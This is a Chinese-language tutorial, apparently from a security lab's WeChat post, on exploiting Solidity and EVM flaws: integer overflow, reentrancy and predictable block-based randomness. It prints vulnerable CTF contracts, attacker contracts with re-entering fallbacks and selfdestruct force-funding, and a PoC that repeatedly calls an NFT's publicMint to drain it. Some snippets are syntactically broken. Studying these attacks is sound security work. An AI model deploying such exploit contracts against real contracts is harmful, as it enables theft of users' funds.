编译与执行
整数溢出
#原理
func opAdd(pc *uint64, interpreter *EVMInterpreter, scope *ScopeContext) ([]byte, error) {
x, y := scope.Stack.pop(), scope.Stack.peek()
y.Add(&x, y)
return nil, nil
}
// Add sets z to the sum x+y
func (z *Int) Add(x, y *Int) *Int {
var carry uint64
z[0], carry = bits.Add64(x[0], y[0], 0)
z[1], carry = bits.Add64(x[1], y[1], carry)
z[2], carry = bits.Add64(x[2], y[2], carry)
z[3], _ = bits.Add64(x[3], y[3], carry)
return z
}
// bet.sol
pragma solidity ^0.4.24;
contract bet {
uint secret;
address owner;
mapping(address => uint) public balanceOf;
mapping(address => uint) public gift;
mapping(address => uint) public isbet;
event SendFlag(string b64email);
function Bet() public{
owner = msg.sender;
}
function payforflag(string b64email) public {
require(balanceOf[msg.sender] >= 100000);
balanceOf[msg.sender]=0;
owner.transfer(address(this).balance);
emit SendFlag(b64email);
}
//to fuck
modifier only_owner() {
require(msg.sender == owner);
_;
}
function setsecret(uint secretrcv) only_owner {
secret=secretrcv;
}
function deposit() payable{
uint geteth=msg.value/1000000000000000000;
balanceOf[msg.sender]+=geteth;
}
function profit() {
require(gift[msg.sender]==0);
gift[msg.sender]=1;
balanceOf[msg.sender]+=1;
}
function betgame(uint secretguess){
require(balanceOf[msg.sender]>0);
balanceOf[msg.sender]-=1;
if (secretguess==secret)
{
balanceOf[msg.sender]+=2;
isbet[msg.sender]=1;
}
}
function doublebetgame(uint secretguess) only_owner{
require(balanceOf[msg.sender]-2>0);
require(isbet[msg.sender]==1);
balanceOf[msg.sender]-=2;
if (secretguess==secret)
{
balanceOf[msg.sender]+=2;
}
}
}
重入
# 原理
contract Bank {
mapping(address => uint256) public balanceOf;
...
function withdraw(uint256 amount) public {
require(balanceOf[msg.sender] >= amount);
msg.sender.call.value(amount)();
balanceOf[msg.sender] -= amount;
}
}
contract Hacker {
bool status = false;
Bank b;
constructor(address addr) public {
b = Bank(addr);
}
function hack() public {
b.withdraw(1 ether);
}
function() public payable {
if (!status) {
status = true;
b.withdraw(1 ether);
}
}
}
// h4ck.sol
pragma solidity ^0.4.25;
contract owned {
address public owner;
constructor ()
public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public
onlyOwner {
owner = newOwner;
}
}
contract challenge is owned{
string public name;
string public symbol;
uint8 public decimals = 18;
uint256 public totalSupply;
mapping (address => uint256) public balanceOf;
mapping (address => uint256) public sellTimes;
mapping (address => mapping (address => uint256)) public allowance;
mapping (address => bool) public winner;
event Transfer(address _from, address _to, uint256 _value);
event Burn(address _from, uint256 _value);
event Win(address _address,bool _win);
constructor (
uint256 initialSupply,
string tokenName,
string tokenSymbol
) public {
totalSupply = initialSupply * 10 ** uint256(decimals);
balanceOf[msg.sender] = totalSupply;
name = tokenName;
symbol = tokenSymbol;
}
function _transfer(address _from, address _to, uint _value) internal {
require(_to != address(0x0));
require(_value > 0);
uint256 oldFromBalance = balanceOf[_from];
uint256 oldToBalance = balanceOf[_to];
uint256 newFromBalance = balanceOf[_from] - _value;
uint256 newToBalance = balanceOf[_to] + _value;
require(oldFromBalance >= _value);
require(newToBalance > oldToBalance);
balanceOf[_from] = newFromBalance;
balanceOf[_to] = newToBalance;
assert((oldFromBalance + oldToBalance) == (newFromBalance + newToBalance));
emit Transfer(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public returns (bool success) {
_transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]);
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] -= _value;
totalSupply -= _value;
emit Burn(msg.sender, _value);
return true;
}
function balanceOf(address _address) public view returns (uint256 balance) {
return balanceOf[_address];
}
function buy() payable public returns (bool success){
require(balanceOf[msg.sender]==0);
require(msg.value == 1 wei);
_transfer(address(this), msg.sender, 1);
sellTimes[msg.sender] = 1;
return true;
}
function sell(uint256 _amount) public returns (bool success){
require(_amount >= 100);
require(sellTimes[msg.sender] > 0);
require(balanceOf[msg.sender] >= _amount);
require(address(this).balance >= _amount);
msg.sender.call.value(_amount)();
_transfer(msg.sender, address(this), _amount);
sellTimes[msg.sender] -= 1;
return true;
}
function winnerSubmit() public returns (bool success){
require(winner[msg.sender] == false);
require(sellTimes[msg.sender] > 100);
winner[msg.sender] = true;
emit Win(msg.sender,true);
return true;
}
function kill(address _address) public onlyOwner {
selfdestruct(_address);
}
function eth_balance() public view returns (uint256 ethBalance){
return address(this).balance;
}
}
contract collect {
address ad = 0x1;
address h4ck = 0x2;
function go (uint count) {
for (uint i=0;i<count;i++) {
h4ck.call(bytes4(keccak256("buy()"))).value(1)();
h4ck.call(bytes4(keccak256("transfer(address,uint256)")) ad, 1);
}
}
}
contract transferForce{
address owner;
function () payable {
}
constructor()public{
owner = msg.sender;
}
modifier onlyOwner(){
require(msg.sender == owner);
_;
}
// 向合约强制转账
function transfer(address to) public onlyOwner {
selfdestruct(to);
}
}
contract re {
address h4ck = 0x2;
uint ret;
function flag () {
h4ck.call(bytes4(keccak256("winnerSubmit")));
}
function attack() {
h4ck.call(bytes4(keccak256("sell(uint256)")), 0);
}
function () payable {
if (ret ==0 ) {
h4ck.call(bytes4(keccak256("sell(uint256)")), 0);
}
}
随机数
bet_count[tx.origin] = bet_count[tx.origin].add(1);
uint256 seed = uint256(keccak256(abi.encodePacked(block.number)))+uint256(keccak256(abi.encodePacked(block.timestamp)));
uint256 seed_hash = uint256(keccak256(abi.encodePacked(seed)));
uint256 shark = seed_hash % MOD_NUM; // 20
uint256 lucky_hash = uint256(keccak256(abi.encodePacked(bet_count[tx.origin])));
uint256 lucky = lucky_hash % MOD_NUM;
这里使用一个真实存在的攻击事件:
function publicMint() public payable {
// 获取总供应量
uint256 supply = totalSupply();
// 判断铸造是否暂停
require(!pauseMint, "Pause mint");
// 判断是否发送了足够的Ether,这里为0.01Ether
require(msg.value >= price, "Ether sent is not correct");
// 判断总供应量没有超过最大值
require(supply + 1 <= maxTotal, "Exceeds maximum supply");
// 调用库的mint函数
_safeMint(msg.sender, 1);
// 获取“随机数”
bool randLucky = _getRandom();
// 获取新mint的NFT的ID
uint256 tokenId = _totalMinted();
emit NEWLucky(tokenId, randLucky);
// 将该id的NFT是否中奖的信息保存到tokenId_luckys哈希表中
tokenId_luckys[tokenId] = lucky;
// 如果中奖
if (tokenId_luckys[tokenId] == true) {
// 向调用者发送1.9倍price的Ether,这里为0.019Ether
require(payable(msg.sender).send((price * 190) / 100));
require(payable(withdrawAddress).send((price * 10) / 100));
}
}
项目方提供了一个mint接口,调用者首先要发送0.01Ether,之后使用_getRandom获取一个随机数,使用该随机数进行中奖,如果中奖则向调用者返0.019个Ether。
而_getRandom的实现为:
function _getRandom() private returns(bool) {
uint256 random = uint256(keccak256(abi.encodePacked(block.difficulty, block.timestamp)));
uint256 rand = random%2;
if(rand == 0){return lucky = false;}
else {return lucky = true;}
}
这里使用的是block.difficulty和block.timestamp,这两个变量都可以被预测。
黑客的poc为:
function hack(uint256 counts) public {
require(uint256(keccak256(abi.encodePacked(block.difficulty, block.timestamp)))%2 == 1, "Not lucky");
for(uint256 i=0;i < counts;i++) {
nftAddress.call.value(10000000000000000)(bytes4(keccak256("publicMint()"));
}
}
开始会计算当前区块的难度和时间戳是否满足条件,如果不满足则直接回退,等下一个区块再调用。如果满足则进行循环调用,直到掏空合约中的Ether。
原文始发于微信公众号(山石网科安全技术研究院):利用solidity与EVM本身的漏洞进行攻击(上)